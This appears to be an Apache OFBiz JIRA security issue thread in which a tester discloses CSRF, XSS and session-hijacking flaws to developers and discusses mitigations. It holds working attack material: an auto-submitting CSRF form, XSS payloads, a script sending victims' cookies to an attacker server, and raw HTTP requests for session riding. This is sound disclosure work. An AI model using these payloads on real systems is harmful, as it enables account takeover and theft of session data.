> Components: ALL COMPONENTS
> Affects Versions: Release Branch 09.04, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 09.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Issue Comment Edited: (OFBIZ-1959) Multiple Security Issues
(XSRF, XSS, Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674572#action_12674572 ]
euronymous edited comment on OFBIZ-1959 at 2/18/09 3:14 AM:
--------------------------------------------------------------
Hi David, Hi Jaques.
I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz.
I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find.
Ecommerce seem to be "virtually invulnerable" to XSS now.
The problem I mentioned is relative to partymgr.
If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to
reflected XSS: basiacally it is escaping HTML but not in the good way.
--- REQUEST ---
GET /partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT> HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/findparty
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with <script>..</script> causes this, as you can see from the following excerpt.
[...]
<!-- Begin Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
<div class="button-bar tab-bar no-clear">
<ul>
<li>
<ul>
<li class="selected "><a href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>
<li><a href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>
<li><a href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>
<li><a href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link Party</a></li>
<li><a href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>
<li><a href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>
<li><a href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax Infos</a></li>
<li><a href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>
<li><a href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping Lists</a></li>
<li><a href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>
<li><a href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>
<li><a href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact Lists</a></li>
<li><a href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party Content</a></li>
<li><a href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party Skills</a></li>
<li><a href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>
<li><a href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>
<li><a href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment Applications</a></li>
<li><a href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin. History</a></li>
<li><a href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>
</ul>
<br class="clear"/>
</li>
</ul>
</div>
<!-- End Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]
I'm gonna debug a little bit to understand why...Anyway I don't think that is a problem of the filter, because I didn't use any evasion techniques (just a few random chars in Lower case instead of Upper case, but I don't think it is the problem), and the attack vector is trivial.
(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( ahah )
Speaking about XSRF, clearly has not been fixed, and is possible even without XSS of course.
just try to swend the following request, after authentication, changing the UserAgent (so your browser):
try to change with this: Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1
POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509
salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED
It will work because there aren't any random token appended to the POST request.
But you already know that, as Session Management protections.
Have a good developing time guys
Michele Orrù
was (Author: euronymous):
Hi David, Hi Jaques.
I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz.
I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find.
Ecommerce seemd "virtually invuylnerable" to XSS now.
The problem I mentioned is relative to partymgr.
If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to
reflected XSS: basiacally it is escaping HTML but not in the good way.
--- REQUEST ---
GET /partymgr/control/viewprofile?partyId=admin"><script>alert(6)</script> HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/findparty
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with <script>..</script> causes this, as you can see from the following excerpt.
[...]
<!-- Begin Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
<div class="button-bar tab-bar no-clear">
<ul>
<li>
<ul>
<li class="selected "><a href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>
<li><a href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>
<li><a href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>
<li><a href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link Party</a></li>
<li><a href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>
<li><a href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>
<li><a href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax Infos</a></li>
<li><a href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>
<li><a href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping Lists</a></li>
<li><a href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>
<li><a href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>
<li><a href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact Lists</a></li>
<li><a href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party Content</a></li>
<li><a href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party Skills</a></li>
<li><a href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>
<li><a href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>
<li><a href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment Applications</a></li>
<li><a href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin. History</a></li>
<li><a href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>
</ul>
<br class="clear"/>
</li>
</ul>
</div>
<!-- End Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]
I'm gonna debug a little bit to understand why...
(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( )
Have a good developing time guys
P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of course.
just try to swend the following request, after authentication, changing the UserAgent (so your browser):
try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1
POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509
salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED
It will work because there aren't any random token appended to the POST request.
But you already know that I think, as Session Management protections.
Michele Orrù
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675037#action_12675037 ]
Michele Orru commented on OFBIZ-1959:
-------------------------------------
Hi Jacques.
The steps are easy:
1. log in to the same ofbiz istance with two different browsers, let say Opera and Firefox.
2. now if you put a proxy between the browser and the outgoing call, let say Burp or WebScarab, you can log, block, and modify
requests/response pairs: then send a "createPerson" request in Firefox, log the POST raw request comprehensive of header and content.
3. now do the same in Opera, but blocks the outgoing request to createPerson and modify the HTTP entire packet (with your proxy tool of choice) with the previously copied data from Firefox.
4. Submit your data in Opera, and then you can see that the request is succesfull and the person has been added.
Clearly the jsessionId has to be the same (you have to change it), and you have to imagine that a XSRF attack is more a social engineering attack that something else...you also have to imagine that the things we're doing here with our proxies, in fact in a real attack
everything would be done with JS (grab the cookie, GET an external javascript that contain the payload, and so on).
Anyway, if we don't add a random token to each POST/GET requests, XSRF is possible almost everywhere and everytime, it only depends to the knowledge of the attacker that creates a so called good-social-engineered-powered JS vector.
Let me know if it is clear for you now Jacques.
Anyway, I'm defintly happy that with my explanations, my pen tests and your (David and Andrew included) deep Ofbiz knowledge
we're improving Ofbiz security...That is GREAT guys.
All the best
Michele Orrù
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675005#action_12675005 ]
Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------
Hi Michele,
I'm not sure what to do, could you please explain the steps needed to reproduce this XSRF issue ?
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
